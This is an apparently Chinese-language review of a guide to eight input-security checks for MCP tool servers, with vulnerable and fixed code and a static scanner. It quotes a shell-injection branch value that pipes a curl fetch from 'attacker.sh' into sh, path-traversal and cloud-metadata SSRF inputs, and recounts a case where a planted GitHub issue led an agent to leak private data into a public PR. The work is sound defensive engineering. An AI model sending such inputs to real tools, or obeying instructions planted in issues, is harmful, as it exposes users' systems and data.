MCP 服务输入安全的八类排查模式
文章从提示注入可能间接控制工具参数出发,列出八类 MCP 服务安全排查模式,并配有漏洞与修复代码。作者使用 mcp-audit 0.1.0 扫描示例,强调服务端必须验证工具输入。
AI 深度解读
MCP 工具接收到的参数,不能因为「是模型传来的」就默认可信。模型会阅读 issue、网页、邮件和 README,攻击者可以把指令藏在这些内容里,再借模型调用工具。作者的核心主张是:防提示注入,必须把工具参数当作攻击者输入,在服务端落实边界检查。
原文整理了 8 类检查模式,并提供静态扫描器 mcp-audit。对写 Node 工具、接入 MCP 的前端和全栈开发者来说,它最有用的地方,是把抽象的 AI 安全问题拆成了可以审查的代码和配置。
模型发起调用,不代表参数经过了授权
原文引用的 MCP 规范版本是 2025-06-18:模型可以自动发现并调用工具,服务端必须验证所有工具输入。这两件事放在一起,才是理解风险的起点。
作者援引了 Invariant Labs 在 2025 年 5 月 26 日披露的案例:攻击者在公开仓库放置恶意 issue,使用官方 GitHub MCP server 的 agent 读取后,把私有仓库数据泄露到了公开 PR。攻击者不必直接访问私有仓库,只需要影响一个同时能读取私有数据、接触外部内容、向外发送信息的 agent。
Simon Willison 把这个组合称为「致命三要素」(lethal trifecta)。
提示注入把恶意指令送到模型面前,工具权限决定它最终能造成什么后果。
因此,只在提示词里写「不要听网页里的指令」不够。哪怕模型判断失误,工具也应该拒绝越界路径、危险命令和不该访问的地址。原文的 8 类模式,围绕的就是这些边界。
先检查参数能否变成命令、路径和网络请求
第一类是 Shell 注入。作者的危险示例把 branch 拼进 os.popen(f"git log --oneline -n 20 {branch}")。如果分支参数变成 main; curl attacker.sh | sh,Shell 就会执行额外命令。
修复需要同时做两件事:固定可执行程序,用参数数组调用;限制输入,拒绝以 - 开头的值,避免它被解释为 Git 选项。原文使用 [A-Za-z0-9._/-]{1,100} 校验分支名,再调用 subprocess.run,设置 timeout=30。Node 对应的是 execFile("git", [...]),而不是插值构造 exec(...)。
第二类是路径越界。path.join(WORKSPACE, file) 只是拼接路径,不负责判断访问权限。包含 ../../ 的参数可能离开工作目录,符号链接也可能把访问引到目录之外。
下面这段代码解决的是:读取文件之前,先确认它解析后的真实位置仍在工作目录内。
// 修复后
const ROOT = realpathSync(path.resolve("/srv/workspace"));
async ({ file }) => {
const target = await fs.realpath(path.resolve(ROOT, file));
if (target !== ROOT && !target.startsWith(ROOT + path.sep)) {
throw new Error("path outside workspace");
}
const text = await fs.readFile(target, "utf8");
return { content: [{ type: "text", text }] };
}
重点是 ROOT + path.sep,以及前面的 fs.realpath。直接比较字符串前缀,会让 /srv/workspace-evil 这样的相邻目录通过;只做 resolve,则没有处理符号链接。原文分别用 CVE-2025-53110 和 CVE-2025-53109 说明这两种问题,涉及 Anthropic 的 filesystem MCP server。
第三类是 SQL 注入。查询值应使用绑定参数,例如 Python 的 LIKE ?,或 TypeScript 的 client.query("... WHERE email = $1", [email])。但占位符不能绑定表名和列名,允许模型选择这些标识符时,还得使用允许列表。
第四类是服务端请求伪造(SSRF)。直接执行 fetch(url),可能让模型访问 http://169.254.169.254/ 这样的云实例元数据地址,或 localhost 上的管理端口。
用途固定时,作者建议仅允许 https: 和指定主机,例如 docs.python.org、developer.mozilla.org,并设置 redirect: "error"。通用抓取工具则需要解析域名、拒绝私有地址、回环地址和链路本地地址,并逐次检查重定向目标。
第五类是执行表达式。eval(expression)、Node 的 new Function(...) 和 vm.runInContext(...) 都不该直接承接工具输入。原文的计算器改用 ast.parse(expression, mode="eval"),只接受数字常量,以及由 ast.Add、ast.Sub、ast.Mult、ast.Div 表示的四则运算。
返回内容和客户端配置,也会扩大攻击面
第六类问题发生在工具输出。示例中的 debug_config() 返回了 gpt-4o 和 OPENAI_API_KEY 的实际值。工具结果会进入模型上下文和对话记录,后续一条「把结果写进 PR 描述」的注入指令,就可能把密钥带出去。
作者建议只返回 api_key_set 这样的状态值;如果密钥曾经被返回过,应当轮换。
第七类把两个设计信号放在一起:外部内容如何进入上下文,破坏性工具如何被识别。原文将网页正文截到 20_000 个字符,并用 <untrusted_web_content> 包裹;删除工具则通过 ToolAnnotations(destructiveHint=True, readOnlyHint=False) 标注用途,供客户端决定是否确认。
内容标签和工具注解都只是辅助信号,不能替代权限检查。
作者也承认这一点:标记后的网页依然可能包含攻击内容,所以修复示例仍被 mcp-audit 报告为 Info。规范还要求客户端将来自不可信服务器的工具注解视为不可信。
第八类是 .cursor/mcp.json、claude_desktop_config.json 等客户端配置。原文指出四个常见问题:硬编码 token、npx -y 未固定版本、使用 @latest、把整个主目录交给 filesystem server。
作者建议固定精确版本,只开放项目目录,并引用环境变量。Cursor 示例语法是 ${env:GITHUB_PERSONAL_ACCESS_TOKEN},Claude Code 的 .mcp.json 则是 ${GITHUB_PERSONAL_ACCESS_TOKEN},两者不能照抄混用。
固定版本还需要主动更新。原文援引的 CVE-2025-6514 涉及 mcp-remote 0.0.5 至 0.1.15:连接不可信服务器时可能触发操作系统命令注入。锁版本能控制变更时机,不能自动修复已经锁住的漏洞。
我的判断
这份清单最可靠的部分,是把 MCP 风险落回已有的软件安全边界:参数化查询、路径约束、限制网络出口、避免动态执行、减少秘密暴露。模型参与调用后,这些要求仍然成立。
但扫描器的效果,需要和作者提供的证据分开看。作者称,全部危险示例都被 mcp-audit 0.1.0 检出,修复版本除第七类的提示性报告外均通过。这证明它能识别这组示例;原文没有提供真实项目覆盖率、误报率,或与其他工具的对照数据。
它的限制也很明确:数据流只跟踪单个文件;TypeScript 只做词法分析,没有完整解析;校验逻辑只要形状符合预期,就可能被当成安全,即便检查实际写错。工具描述投毒和运行时行为也不在扫描范围内。
因此,我会把它作为代码审查的补充。相比只靠提示词约束模型,服务端检查更容易验证;相比完整安全审查,它覆盖的是一组已知代码模式。扫描通过,仍然不能推出服务器安全。
能拿来做什么
- 维护 Node MCP server 时,可以先从工具处理函数追踪参数去向,集中检查
exec、文件读取、SQL、fetch和动态执行入口。每个入口都要回答:模型给出恶意参数时,代码在哪里拒绝它。 - 给日常 AI 编程环境接入 MCP 前,检查 token 是否硬编码、依赖是否固定版本、文件访问是否收窄到项目目录。调试工具只返回配置状态,避免把环境变量值送进上下文。
- 可以用作者提供的命令先扫描仓库,再检查本机客户端配置,并输出 JSON 供审查:
pipx install git+https://github.com/abhi12337/mcp-audit
mcp-audit scan . # 扫描本仓库的配置与服务端代码
mcp-audit scan --user-configs # 扫描本机 Claude/Cursor/VS Code/Windsurf 配置
mcp-audit scan . --json > report.json
接入 PR 检查时,要留意 --fail-on 默认是 high,达到或超过该等级的发现会让程序以退出码 1 结束。报告适合帮助定位问题,修复是否有效仍需检查真实调用链。